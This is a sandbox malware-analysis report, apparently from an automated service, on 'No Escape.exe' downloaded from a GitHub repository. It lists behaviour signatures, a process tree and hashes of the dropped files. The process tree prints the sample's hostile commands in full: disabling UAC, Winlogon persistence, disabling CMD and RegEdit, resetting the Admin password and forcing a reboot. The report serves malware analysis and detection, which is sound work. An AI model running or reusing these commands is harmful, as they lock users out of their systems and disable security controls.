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Analysis

  • max time kernel
    39s
  • max time network
    41s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2024, 05:26

Errors

Reason
Machine shutdown

General

  • Target

    https://github.com/LocalAlloc/NO-ESCAPE

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Downloads MZ/PE file
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/LocalAlloc/NO-ESCAPE
    1⤵
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3196
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdb44f9758,0x7ffdb44f9768,0x7ffdb44f9778
      2⤵
        PID:4776
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1652 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:2
        2⤵
          PID:4328
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:8
          2⤵
            PID:1116
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2184 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:8
            2⤵
              PID:4780
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2984 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:1
              2⤵
                PID:3584
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2992 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:1
                2⤵
                  PID:3956
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5324 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:8
                  2⤵
                    PID:4148
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:8
                    2⤵
                      PID:4504
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4968 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:8
                      2⤵
                        PID:3320
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5540 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:8
                        2⤵
                          PID:3232
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5508 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:8
                          2⤵
                            PID:4824
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5692 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:8
                            2⤵
                              PID:4296
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4972 --field-trial-handle=1904,i,457300053573337061,5554946905750874967,131072 /prefetch:8
                              2⤵
                                PID:3696
                              • C:\Users\Admin\Downloads\No Escape.exe
                                "C:\Users\Admin\Downloads\No Escape.exe"
                                2⤵
                                • Checks computer location settings
                                • Executes dropped EXE
                                • Drops file in Program Files directory
                                • Suspicious use of SetWindowsHookEx
                                PID:4260
                                • C:\Windows\system32\wscript.exe
                                  "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\7177.tmp\7178.tmp\7179.vbs //Nologo
                                  3⤵
                                  • Checks computer location settings
                                  PID:1452
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "
                                    4⤵
                                      PID:5388
                                      • C:\Windows\system32\attrib.exe
                                        attrib +s +h C:\msg.exe
                                        5⤵
                                        • Sets file to hidden
                                        • Views/modifies file attributes
                                        PID:5464
                                      • C:\Windows\system32\attrib.exe
                                        attrib +s +h C:\launch.exe
                                        5⤵
                                        • Sets file to hidden
                                        • Views/modifies file attributes
                                        PID:5488
                                      • C:\Windows\regedit.exe
                                        regedit /s hello.reg
                                        5⤵
                                        • Runs .reg file with regedit
                                        PID:5504
                                      • C:\Windows\system32\reg.exe
                                        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1
                                        5⤵
                                          PID:5528
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f
                                          5⤵
                                          • Modifies WinLogon for persistence
                                          PID:5544
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f
                                          5⤵
                                          • Sets desktop wallpaper using registry
                                          PID:5564
                                        • C:\Windows\system32\reg.exe
                                          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1
                                          5⤵
                                            PID:5580
                                          • C:\Windows\system32\reg.exe
                                            reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                            5⤵
                                            • UAC bypass
                                            PID:5596
                                          • C:\Windows\system32\reg.exe
                                            reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2
                                            5⤵
                                              PID:5612
                                            • C:\Windows\system32\reg.exe
                                              REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
                                              5⤵
                                              • Disables RegEdit via registry modification
                                              • Modifies registry key
                                              PID:5636
                                            • C:\Windows\system32\net.exe
                                              net user Admin death
                                              5⤵
                                                PID:5648
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 user Admin death
                                                  6⤵
                                                    PID:5668
                                                • C:\Windows\system32\shutdown.exe
                                                  shutdown /t 0 /r
                                                  5⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:5688
                                        • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                          "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                          1⤵
                                            PID:4192
                                          • C:\Windows\system32\LogonUI.exe
                                            "LogonUI.exe" /flags:0x4 /state0:0xa396f055 /state1:0x41c64e6d
                                            1⤵
                                            • Modifies data under HKEY_USERS
                                            • Suspicious use of SetWindowsHookEx
                                            PID:5728

                                          Network

                                          MITRE ATT&CK Enterprise v15

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                                          Downloads

                                          • C:\Program Files (x86)\date.txt

                                            Filesize

                                            120B

                                            MD5

                                            255a8e245b6ad378558b90cbe3dbc3d0

                                            SHA1

                                            6eb73f9f2034c113a2a6b1aab9a440a21928cfc2

                                            SHA256

                                            d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9

                                            SHA512

                                            67e03d7bffa0dec32535b6da46d5b7f38d94a7c9a231aa2fa625b81485d41c1ecac95b08fe5b7a605fcfe1c7e37c55ee716c9045df90ea6e030b86e52ec09edf

                                          • C:\Program Files (x86)\hello.bat

                                            Filesize

                                            1KB

                                            MD5

                                            b86fddd2b764f079615be5d4dc3e158d

                                            SHA1

                                            2510479054db1fe52cc2dcd3c7033d91204cb367

                                            SHA256

                                            2b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091

                                            SHA512

                                            915363bc9f6e665358c8d25f5f5f51d64c53cb755be999013217162b126705ce641ea809047bc84511db7e3e383b848ec3932924baa8926d51a51d0037a5ca63

                                          • C:\Program Files (x86)\hello.jpg

                                            Filesize

                                            110KB

                                            MD5

                                            057ea45c364eb2994808a47b118556a2

                                            SHA1

                                            1d48c9c15ea5548af1475b5a369a4f7b8db42858

                                            SHA256

                                            6e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836

                                            SHA512

                                            582c7ecf2d0c33c8706ff3f39aa926780aa8f0dc0ff5d563905a5100254b81b89def22206abee0871ab339a3d463de9e6ec1782d92198e8f386f173654b6e760

                                          • C:\Program Files (x86)\hello.reg

                                            Filesize

                                            3KB

                                            MD5

                                            81427e9d5d10657b9edffd22e7b405bb

                                            SHA1

                                            f27ab62f77f827dbb32c66a35ac48006c47f4374

                                            SHA256

                                            bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83

                                            SHA512

                                            b0ee65bcef13be7c17db6e06b96cd44774fcebe6f4a411b0073493ff53f795e3b7c49e921c3bd2e41256638bc161f5218d1c51b589c3e10164f8f2c0d1db1592

                                          • C:\Program Files (x86)\launch.exe

                                            Filesize

                                            92KB

                                            MD5

                                            b4acc41d0e55b299ffeec11a8a20cf08

                                            SHA1

                                            bbee20882bdd9dcd24b54b6af6c48cf5efc8c6fa

                                            SHA256

                                            34bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42

                                            SHA512

                                            d4fa9900d703ea12d508929718433f97581a23b63458e5070ff7749871a7f60889db45098ec2972687b864ba97ab4fc307e8c80c4450dee79c0a5738818d2794

                                          • C:\Program Files (x86)\msg.exe

                                            Filesize

                                            9KB

                                            MD5

                                            331a0667b11e02330357565427dc1175

                                            SHA1

                                            d84c1ae0bf2c8ca1f433f0086ca86e07f61204c2

                                            SHA256

                                            fc7174e44a1d34040c3bc05ce24e648742a38a3accce22e8300d7059e4d12431

                                            SHA512

                                            1c47f0438dce58d473d93c10f233650df3e86d7e762a08b3a933da37683e76a079d275db4a1b4028d903f7e43f487173ba8bb25c4cff6f3e1161d0a5b2b18cec

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                                            Filesize

                                            1KB

                                            MD5

                                            39942ce8e8b52c06c64f418715ca6946

                                            SHA1

                                            c086980b1600d9f8659ed27171e38ff35927ae24

                                            SHA256

                                            6bd62c1b4ed6692213d71904aa08ac0bb18a5fe452c123171d14158524ae9019

                                            SHA512

                                            67a26a0d162fc11b7237944787c5a44572bab6293c4171cef2aaf23a6d1a26c65665ecb06e7e8f56dc5c85f9f2bd09e27828e7675db5e202517653f0de1abd9e

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                            Filesize

                                            1KB

                                            MD5

                                            99f1a9327513fef8b0e2d58ca564a76b

                                            SHA1

                                            1f523064e9f378effcf73e8b4dae28ad7db769b1

                                            SHA256

                                            9b88d33f5a58532f2ba232e15505243873db4ce8ba482e9c52b179e3dab69c2e

                                            SHA512

                                            2bc2c14f0861a1e8da113a12982b44cffe84e52224a74d6b1e979cc50172171732e0fabd3f4cdd326c6e52117d6890c0da26d94d63fd27d0191c92dd6240a088

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                            Filesize

                                            6KB

                                            MD5

                                            89ae4f121a12b82e27d55f585e7f7e98

                                            SHA1

                                            736be010f6ba49e70819503e4c0aa4b53dccc5e2

                                            SHA256

                                            a7f3753fd3a392ffc3e6b0b9a8486203115be720672932b2e9413a854e853727

                                            SHA512

                                            3c49a87d20f7827610f703143ebcd44aecbaeb5f9e6ada64b5273beb1808a324d9103d7dc879f8e192611136cb5f9377276a88517b32523feb6765d17c3a44ca

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                            Filesize

                                            6KB

                                            MD5

                                            8f4c992c5f4daee5dc07e8f0e9fcf78c

                                            SHA1

                                            b1cb7530e982fa2fc35460b91924f0f010255e64

                                            SHA256

                                            f95d86115f5e62edb0711aafd015c9851816a2f350e544bae2a49c795b909c31

                                            SHA512

                                            e51527f535b83cdfa7e1b5b1694b4d0bd9b4df73e5efdd7fdbcc4d3faabbd05d36a64b52caa17f1afb93d49eaf19e5b7ded15fe8e54b29e4a11c5e4be00a2d77

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                            Filesize

                                            128KB

                                            MD5

                                            5beae146458ce4f788762ea9201e33bb

                                            SHA1

                                            5dd0f6aca373e0a2ad9e6978fedba03ee014b0a0

                                            SHA256

                                            b0658f1c3cac0206d578e8e692a2eae47a55cc5fd287411a9df77a26c6dbe718

                                            SHA512

                                            54109b59c9f74c7aa0d63ecfba6ac7920b819d44a6c0ab67a352bcf10ae84ea901716cef5dd9c8ed5d35c0e6c788f896f5ddfab93d740f3d1af91cfa75074f5d

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                            Filesize

                                            128KB

                                            MD5

                                            9d9ac994143fac4830014ce42a1fb4b8

                                            SHA1

                                            76184db1ef9aee61fa966f01841bf01ce6c693bf

                                            SHA256

                                            5c7824d5a8f309a247ed92e31e368bbae7df24643ce654a44fdd815e7b971ec2

                                            SHA512

                                            b2fff6a1b94cad77018cb83c50b9feef675612739ec8cfbdbffda975e320e1ac01b01ca3295a3dbcc6ca9f8df96ba6f006c405581bcef8a9e936d8cda0b9fce2

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

                                            Filesize

                                            2B

                                            MD5

                                            99914b932bd37a50b983c5e7c90ae93b

                                            SHA1

                                            bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

                                            SHA256

                                            44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

                                            SHA512

                                            27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

                                          • C:\Users\Admin\AppData\Local\Temp\7177.tmp\7178.tmp\7179.vbs

                                            Filesize

                                            588B

                                            MD5

                                            67706bca9ceaba11530e05d351487003

                                            SHA1

                                            3a5ed77f81b14093a5f18c4d46895bc7ea770fee

                                            SHA256

                                            190a0d994512ed000cf74bd40fb0502988c2ac48855b23a73fd905c0305fc30f

                                            SHA512

                                            902ac91678d85801a779acbc212c75beba72f8da996b0ed1b148a326c2dd635b88210f9a503fbbffa5271335483eae972e6a00acbc01ec013cf355c080444598

                                          • C:\Users\Admin\Downloads\No Escape.exe

                                            Filesize

                                            771KB

                                            MD5

                                            2782877418b44509fd306fd9afe43e39

                                            SHA1

                                            b0c18bdf782ca9c4fa41074f05458ce8e0f3961b

                                            SHA256

                                            56d612e014504c96bb92429c31eb93f40938015d422b35765912ac4e6bd3755b

                                            SHA512

                                            8826881b3ab406ee4c1fabd4848161f8524aeaeb7c4397384d36840f947ef95c8560850b2409fbf761ff225cdc8ac6eb875b705476fe9574b23c7a5478505a86